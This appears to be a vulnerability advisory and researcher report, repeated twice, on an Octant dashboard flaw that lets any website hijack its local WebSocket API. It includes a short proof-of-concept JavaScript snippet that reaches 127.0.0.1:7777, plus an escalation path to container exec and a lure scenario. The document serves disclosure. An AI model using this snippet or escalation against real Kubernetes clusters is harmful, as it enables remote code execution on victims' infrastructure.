Impact
What kind of vulnerability is it? Who is impacted?
Remote code execution, all users.
Patches
Has the problem been patched? What versions should users upgrade to?
0.10.2, nightly, master
Workarounds
Is there a way for users to fix or remediate the vulnerability without upgrading?
No.
References
We would like to thank "Jack Wink with Mothership" for reporting this issue to us
remote-code-execution.txt
Octant Cluster RCE
Project: https://github.com/vmware-tanzu/octant (built from master)
Host: Macbook Pro running latest OSX
Browser: Chrome 80 (latest build)
Background
From the project, it's unclear if VMWare is the right place to report this issue, but there is no
documentation in the project related security reporting. Before asking publicly to clarify where I
should send it, I'm hoping the VMWare security team is the right place to start.
Octant is an open source project with some ties to VMWare. Functionally, it's a dashboard for
managing Kubernetes clusters to be run from user devices.
The Octant project runs a web server on an end-user device, using the user's kubernetes config file
(~/.kube/config on my system) for access to the kubernetes API. The web server hosts a REST api,
websocket API and some HTML pages. The pages mostly communicate with the web server via the websocket
API.
The websocket API allows the end user to manage all kubernetes clusters specified in the kubernetes
config file. The dashboard acts at the same permissions level as the end-user. If the user has read-only
access, the dashboard will only be able to read resources from the cluster. If the user can execute commands
in containers, the dashboard allows the end user to execute commands on containers.
Vulnerability
The websocket and REST API attempt to restrict access by checking the HTTP 'Host' header. However, they probably want
to filter on the 'Origin' header. Because the server accepts connections from any origin (say www.evil.com), a malicious
actor could host client-side JS that opens a websocket to Octant and sends commands that will then be forwarded to the
kubernetes cluster.
Proof of Concept
This sample lists details about the kube-system namespace. Further exploitation would require listing pods within that namespace
and then sending an 'exec' command for full remote code execution.
let ws = new WebSocket("ws://127.0.0.1:7777/api/v1/stream")
ws.onmessage = function(data) {
console.log(data)
}
ws.send('{"type": "setContentPath", "payload": {"contentPath": "cluster-overview/namespaces/kube-system", "params":{}}}')This code snippet could be run from the chrome developer tools console on any domain (assuming their CSP doesn't block
you -- for instance, GitHub does not allow any JS on their page to connect to non-github domains). I personally used the
mozilla developer site to test.
When I open the socket, the following headers were sent:
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Cache-Control: no-cache
Connection: Upgrade
Host: 127.0.0.1:7777
Origin: https://developer.mozilla.org
Pragma: no-cache
Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits
Sec-WebSocket-Key: munPQ/nbuaNNKVmyFszjLA==
Sec-WebSocket-Version: 13
Upgrade: websocket
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.106 Safari/537.36
You can see that the 'Origin' filtering would prevent a malicious web page from reaching the API. The 'Host' header is just the domain
being requested. Some form of CSRF could also mitigate this issue.
Real world scenario
This exploit code could be hosted on a blog post about Octant, like a tips and tricks post that encourages users to load Octant to
follow along. When a user visits the site, it would attempt to establish a localhost connection and then execute commands against
the cluster.
References
Impact
What kind of vulnerability is it? Who is impacted?
Remote code execution, all users.
Patches
Has the problem been patched? What versions should users upgrade to?
0.10.2, nightly, master
Workarounds
Is there a way for users to fix or remediate the vulnerability without upgrading?
No.
References
We would like to thank "Jack Wink with Mothership" for reporting this issue to us
remote-code-execution.txt
Octant Cluster RCE
Project: https://github.com/vmware-tanzu/octant (built from master)
Host: Macbook Pro running latest OSX
Browser: Chrome 80 (latest build)
Background
From the project, it's unclear if VMWare is the right place to report this issue, but there is no
documentation in the project related security reporting. Before asking publicly to clarify where I
should send it, I'm hoping the VMWare security team is the right place to start.
Octant is an open source project with some ties to VMWare. Functionally, it's a dashboard for
managing Kubernetes clusters to be run from user devices.
The Octant project runs a web server on an end-user device, using the user's kubernetes config file
(~/.kube/config on my system) for access to the kubernetes API. The web server hosts a REST api,
websocket API and some HTML pages. The pages mostly communicate with the web server via the websocket
API.
The websocket API allows the end user to manage all kubernetes clusters specified in the kubernetes
config file. The dashboard acts at the same permissions level as the end-user. If the user has read-only
access, the dashboard will only be able to read resources from the cluster. If the user can execute commands
in containers, the dashboard allows the end user to execute commands on containers.
Vulnerability
The websocket and REST API attempt to restrict access by checking the HTTP 'Host' header. However, they probably want
to filter on the 'Origin' header. Because the server accepts connections from any origin (say www.evil.com), a malicious
actor could host client-side JS that opens a websocket to Octant and sends commands that will then be forwarded to the
kubernetes cluster.
Proof of Concept
This sample lists details about the kube-system namespace. Further exploitation would require listing pods within that namespace
and then sending an 'exec' command for full remote code execution.
This code snippet could be run from the chrome developer tools console on any domain (assuming their CSP doesn't block
you -- for instance, GitHub does not allow any JS on their page to connect to non-github domains). I personally used the
mozilla developer site to test.
When I open the socket, the following headers were sent:
You can see that the 'Origin' filtering would prevent a malicious web page from reaching the API. The 'Host' header is just the domain
being requested. Some form of CSRF could also mitigate this issue.
Real world scenario
This exploit code could be hosted on a blog post about Octant, like a tips and tricks post that encourages users to load Octant to
follow along. When a user visits the site, it would attempt to establish a localhost connection and then execute commands against
the cluster.
References